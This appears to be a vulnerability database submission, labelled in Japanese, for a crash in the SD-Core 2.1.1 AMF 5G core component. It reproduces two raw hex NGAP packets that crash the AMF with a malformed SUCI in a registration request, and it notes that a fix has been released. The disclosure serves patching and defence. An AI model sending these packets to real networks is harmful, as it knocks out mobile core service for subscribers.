| タイトル | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| 説明 | AMF crashes if a registration request with invalid SUCI format is sent. It crashes on converting it to valid MobileIdentity.
Packet 1: Send NGSetupRequest
00 15 00 33 00 00 05 00 1B 00 08 00 00 F1 10 00 00 06 6C 00 52 40 05 01 00 52 41 4E 00 66 00 0D 00 00 00 00 07 00 00 F1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00
Packet 2: Send RegistrationRequest (InitialUEMessage)
00 0F 40 63 00 00 05 00 55 00 02 00 01 00 26 00 39 38 7E 00 41 79 00 08 01 02 F8 39 00 00 00 00 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 00 79 00 0F 40 00 F1 10 00 00 00 00 00 00 F1 10 00 00 07 00 5A 40 01 18 00 70 40 01 00
Developers have acknowledged and fixed.
Fix Pull Request:
https://github.com/omec-project/amf/pull/666
Fixed image:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
|
|---|
| ソース | ⚠️ https://github.com/omec-project/amf/issues/679 |
|---|
| ユーザー | shovon0203 (UID 96191) |
|---|
| 送信 | 2026年04月24日 03:06 (2 月 ago) |
|---|
| モデレーション | 2026年05月22日 19:45 (29 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 365247 [omec-project amf 迄 2.1.1 NGSetupRequest メモリ破損] |
|---|
| ポイント | 20 |
|---|